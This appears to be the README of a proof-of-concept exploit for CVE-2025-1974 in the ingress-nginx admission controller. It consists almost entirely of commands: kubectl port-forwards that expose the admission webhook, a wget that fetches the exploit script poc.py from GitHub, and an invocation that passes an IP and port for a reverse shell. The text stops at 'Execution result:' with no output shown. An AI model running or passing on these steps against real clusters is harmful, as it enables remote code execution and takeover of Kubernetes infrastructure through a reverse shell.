
PoC of CVE-2025-1974, modified from the world-first PoC~
Developed from:
Thanks
# forward the admission webhook
kubectl port-forward -n ingress-nginx svc/ingress-nginx-controller 8080:80 &
kubectl port-forward -n ingress-nginx svc/ingress-nginx-controller-admission 9443:443 &
# python3 -m pip install -r requirements.txt
python3 -m pip install httpx asyncio
wget -c https://github.com/hi-unc1e/CVE-2025-1974-poc/raw/refs/heads/master/poc.py
python3 poc.py --local --ip 192.168.49.1 --port 4444 --admission-port 9443
Parameter description:
ip, port: used for reverse shelladmission-port: default is 8443Execution result:
